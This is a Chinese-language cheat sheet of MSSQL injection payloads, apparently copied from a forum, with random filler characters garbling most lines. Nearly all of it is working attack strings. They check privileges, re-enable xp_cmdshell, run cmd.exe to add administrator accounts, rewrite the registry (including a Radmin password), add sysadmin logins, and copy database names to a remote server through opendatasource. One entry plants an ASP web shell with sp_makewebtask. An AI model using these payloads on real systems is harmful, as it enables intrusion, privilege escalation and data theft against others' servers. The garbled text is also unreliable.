//看看是什么权限的5 ^3 R1 h- L6 R; D: A7 ]
and 1=(Select IS_MEMBER('db_owner'))
9 n/ ~7 e4 h' H; g5 k0 p% e4 KAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
! T$ _3 B/ W6 h3 P7 h1 h
8 B. t% T3 s+ _/ R8 v. H2 ]//检测是否有读取某数据库的权限! L2 @" N5 z* T' u- v; r8 h8 D( q
and 1= (Select HAS_DBACCESS('master'))
* ?; t; p( U& \1 I5 CAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --# J n% R9 C! s4 q
. o7 q1 q) x4 c, k; Q# g2 b7 I
, V# I$ c \- A3 v+ D: B- D数字类型
+ P6 K) Q4 b: H! U: Band char(124)%2Buser%2Bchar(124)=0
- Y& |* z! j E1 ]- {5 G
6 q/ s: |1 b0 G( }! O字符类型 E3 D1 t* x- E
' and char(124)%2Buser%2Bchar(124)=0 and ''='
: g# C: [" c" z q$ `; G0 E: Q5 ^ t# }6 X9 x" q
搜索类型
% A% K0 U! _2 u' c9 [6 r9 b3 T+ I' and char(124)%2Buser%2Bchar(124)=0 and '%'='# p3 c7 s% p5 w0 _3 q
2 h# ?2 t" M7 T& {" [* H% T
爆用户名
8 J& i; s. `, Y3 @3 q/ S. Aand user>0: c; H; ?/ o8 J6 `
' and user>0 and ''='
8 i0 n1 i$ y/ D: M
8 u" h w3 a. W S检测是否为SA权限
& J2 L M* T& Y5 V# T uand 1=(select IS_SRVROLEMEMBER('sysadmin'));--4 m$ V$ @9 E9 F5 C# O$ f
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
& F3 t' @9 c; W. o' |; f0 V i
, k/ z/ u& h/ s6 C1 L, H7 @检测是不是MSSQL数据库
0 K3 n* W3 x& n4 Y2 x( \and exists (select * from sysobjects);--
: D, q9 p0 T, C: P, e3 X
2 q& Y% |, f/ a/ z检测是否支持多行" s! K q& L5 }2 C
;declare @d int;--% r R/ R" l& r% Q( \
7 f5 n9 C/ A+ m. M0 g8 y7 X9 N0 d. m7 i
恢复 xp_cmdshell
1 A4 B. z7 ~. H, s;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
" X5 m! t! S3 F& \, y4 |" C+ S1 ~
, b F. q1 E& D3 n
& H* \5 B/ f% L5 B$ M( fselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version'), M- E. Z9 F. k$ P& Z
( P* e) p# o4 P8 U. S1 a
//-----------------------
2 Z4 ~7 B" Q- G4 V) ^// 执行命令
. g" {& @3 i5 z7 Z//-----------------------& `4 p& N% q! l+ Z
首先开启沙盘模式:
: `8 h% U! N0 U1 K1 wexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',13 ~8 i* |" T' b* j( E/ n. q" y. e" l
5 e/ n8 {: W3 ^0 q6 d然后利用jet.oledb执行系统命令1 `+ _1 S- v0 ]% O1 d
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')$ S" D7 m, R, K
; [8 }1 o4 d6 e0 G3 |7 c
执行命令
N$ s0 |0 k; F;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--% n4 s6 b- i* N% Y
6 @+ E D! W* m' C1 Q$ v$ v" ^1 gEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
; y" c# y5 x2 U# F+ B: T9 F# z8 u. m5 M& I. _1 f6 E9 G
判断xp_cmdshell扩展存储过程是否存在:
, {. W& r7 e& i; t& B& T4 \ C Hhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')/ K" S$ P( S& D7 Z7 V. M
0 R; U) e5 n2 K
写注册表; \8 C8 D; j; O- I7 m1 e' X, N
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',15 t. }4 z8 a! C8 e9 g
$ @0 l* e* B8 s9 L, m+ Z# iREG_SZ+ J9 O1 j F7 g5 a, z# m
8 l# I: u% b& T: E$ a+ w读注册表
2 ^8 v4 i' w, M! o& Vexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
8 ^5 G) J' `1 }
0 y. m, T' ]' B$ R$ L读取目录内容7 |, q5 ^: G6 A7 Y6 M5 P6 ^& L# O2 L
exec master..xp_dirtree 'c:\winnt\system32\',1,16 {3 q! t* T8 c) r
# A' s. U; w% F9 I7 v- P. i1 c# \& s: T* B; A3 S1 \3 }# l' P9 @, V
数据库备份8 C+ m) d% H5 |3 Q9 j+ l+ y4 F7 k$ n
backup database pubs to disk = 'c:\123.bak'
+ E' ~, e2 c* i8 Z+ h2 {6 x
- L& h7 s5 h0 q* ~//爆出长度7 M" z- Y+ H4 O/ d) X8 C- n: _
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
& f. ^. _0 Y) d- J0 i$ M
2 [2 ~6 j- t* P; s5 {/ X' J3 x( O9 T8 P4 k0 q) x
: S& u. e& s/ f( {, c% s# i( c$ v+ x
更改sa口令方法:用sql综合利用工具连接后,执行命令:
8 z0 s7 J) g' e; ^& @# m1 i7 Yexec sp_password NULL,'新密码','sa'7 ^' U( |6 Y) o1 V* h/ W
- t. c# u% M) e8 u4 E1 H/ X) }添加和删除一个SA权限的用户test:$ H9 O7 h* i2 M7 `" h7 @6 z: I
exec master.dbo.sp_addlogin test,95307724 g6 }/ x3 {4 B5 L# T) M
exec master.dbo.sp_addsrvrolemember test,sysadmin
' m4 C- O2 g, U% |6 @4 d" v- R8 m" S% W$ V% S* Y
删除扩展存储过过程xp_cmdshell的语句:) y- Z+ b; _ e
exec sp_dropextendedproc 'xp_cmdshell'
( K l7 _" W7 D7 b& I: a* w1 G
添加扩展存储过过程
* Q% J2 s9 S% ~EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'; \0 o" u6 j+ D+ ?' u0 s T5 b
GRANT exec On xp_proxiedadata TO public
$ D0 [0 [# q& c5 C7 w/ L
% b$ ]1 }* R: g$ N* Y! B: I" M) t: p7 z
停掉或激活某个服务。6 O2 [" e' ~5 H8 a M
: r( F. ^( }/ C+ l, c1 ^2 `5 h6 R
exec master..xp_servicecontrol 'stop','schedule'9 B" y4 p) ?: I! q. z7 N, j% C5 O
exec master..xp_servicecontrol 'start','schedule'
$ A6 j* {! E* `% ~- H
7 l4 x, |. e& R' Y3 \dbo.xp_subdirs
) I/ u4 p* X2 j* N; v2 ?* E- l
3 H' N0 u- ^, w3 j只列某个目录下的子目录。
. z: k x6 n0 ~# R5 f# txp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
$ D# `$ G/ b8 ~, M# A% H" k
5 z8 d4 u' L2 t% D% j; {! ?, ~dbo.xp_makecab0 H3 n' t1 b5 M, p. |* f; F" [. e
9 f4 B) a7 Q4 F" A) v' [+ \
将目标多个档案压缩到某个目标档案之内。/ b- E$ A. N7 F9 [; \8 \* O
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。& x. i- ]! W% ]: g9 T8 E9 G
# }3 R. J+ @/ i I9 M0 \0 R; Z3 l9 Kdbo.xp_makecab" m3 [+ J" p5 p$ B* L
'c:\test.cab','mszip',1,
2 h% y1 y! B* a) p+ l5 a) G0 G'C:\Inetpub\wwwroot\SQLInject\login.asp',# E+ ?; e4 L# m8 L( c4 T
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
! V. f0 }' ~+ U' i8 R! [3 M' R! v( f7 h
xp_terminate_process1 X% y# N* L W- {
# k' {8 s7 a; a8 p8 ]停掉某个执行中的程序,但赋予的参数是 Process ID。. M4 H: Q. o' Z- ^
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
8 m7 n" v' [' l+ r; g: ^4 U2 @' G, G* N. g
xp_terminate_process 2484
+ B8 {: d+ T3 O+ o
; t& j+ D4 m4 P ^9 hxp_unpackcab
* P9 @% p+ Q c2 d( V6 d4 N+ }
# G! z8 U& V" R2 z2 K( \& r2 e6 ^解开压缩档。/ d; B. d5 t) s n5 |( R
- P! ?% k( n# n. |
xp_unpackcab 'c:\test.cab','c:\temp',1
; j+ S' i* u+ }$ ?; i/ W
; g( n- t# r! r$ Z) U
" g# Z6 X( [% P某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234/ N% c- ?! }. S) [( W* w
$ O3 W4 E9 x1 S+ i" Y
create database lcx;% O5 O% I" A, i# m, K/ \* R5 z
Create TABLE ku(name nvarchar(256) null);
. B: [% e9 f0 _& R8 R a) WCreate TABLE biao(id int NULL,name nvarchar(256) null);
, D, {; ]) {# ?* v9 s7 P ~9 c* @, b* R: F; ]: K
//得到数据库名
4 }6 W: t/ Q) m( m; Uinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases N4 a' k1 K4 T4 j8 h$ g
/ ?& [, O5 I$ x/ T9 u( x
, A/ v7 E. t$ y//在Master中创建表,看看权限怎样
. h" u/ n4 \7 {- VCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--0 T# R+ M! r% H% g: \% h* l
' D$ {0 J5 |. n
用 sp_makewebtask直接在web目录里写入一句话马:
. w$ Y! Y6 N- o" E o+ T, z3 Mhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
7 J6 Y6 J! r4 g! v2 @$ [( E
& |6 t# p3 a7 D//更新表内容
: u" T6 b$ z1 G9 }Update films SET kind = 'Dramatic' Where id = 123
% @# D' M7 G* n/ | @4 ^
" x- v0 W9 `( ] m7 J" E# U* t//删除内容 V% h* S2 t9 C4 K$ L% L* o
delete from table_name where Stockid = 3 |